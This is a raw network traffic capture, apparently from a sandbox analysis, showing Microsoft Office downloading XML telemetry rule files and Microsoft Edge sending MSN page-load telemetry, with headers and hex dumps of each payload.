2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 77d57460-901e-0083-6dd5-33bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968glpgnhC1EWR7uec00000005g000000000wmyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	58816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 554aabf5-b01e-00ab-71d5-33dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968ljs8phC1EWRe6en00000005a000000000c7ac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	58813	104.208.16.90	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358764065&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10966 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1; _C_ETH=1
2024-11-11 20:59:25 UTC	10966	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 35 39 3a 32 34 2e 30 36 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 37 34 64 63 36 39 35 2d 38 39 66 37 2d 34 37 34 66 2d 39 61 31 37 2d 63 36 36 30 34 36 39 62 64 35 36 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 32 36 34 38 33 31 36 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T20:59:24.063Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"674dc695-89f7-474f-9a17-c660469bd561","epoch":"3026483166"},"app":{"locale
2024-11-11 20:59:25 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=18323dfedafb4078810b998fdcc5e82d&HASH=1832&LV=202411&V=4&LU=1731358765715; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 20:59:25 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=77d7519b342b4e77ad85679a17310f3e; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 21:29:25 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1650 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 20:59:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	58814	104.208.16.90	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358764074&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4722 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1; _C_ETH=1
2024-11-11 20:59:25 UTC	4722	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 35 39 3a 32 34 2e 30 37 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 37 34 64 63 36 39 35 2d 38 39 66 37 2d 34 37 34 66 2d 39 61 31 37 2d 63 36 36 30 34 36 39 62 64 35 36 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 32 36 34 38 33 31 36 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T20:59:24.073Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"674dc695-89f7-474f-9a17-c660469bd561","epoch":"3026483166"},"app":{"locale
2024-11-11 20:59:25 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=53f458b600f34742a362a282aff3e705&HASH=53f4&LV=202411&V=4&LU=1731358765734; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 20:59:25 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=cb19fc88eef44adbb6c1abf2286b7793; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 21:29:25 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1660 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 20:59:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	58817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d9045dfb-101e-00a2-06d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f78459685m244hC1EWRgp2c000000056g00000000u2ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	58818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c8358f32-201e-005d-77d5-33afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968t42glhC1EWRa36w0000000590000000002sn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	58819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:25 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 01111fca-d01e-002b-41d5-3325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205925Z-174f7845968xlwnmhC1EWR0sv8000000056000000000ta8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	58823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 4e338e66-401e-0016-6fd5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205926Z-174f7845968vwdr7hC1EWRsh3w00000005eg000000007s31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	58822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1c14d510-c01e-0079-05d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205926Z-174f7845968vwdr7hC1EWRsh3w00000005fg000000003u21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	58827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4e338eb5-401e-0016-3ad5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205926Z-174f78459684bddphC1EWRbht40000000590000000003aqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	58825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 65802b10-501e-000a-61d5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205926Z-174f78459685726chC1EWRsnbg00000005kg000000005zyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
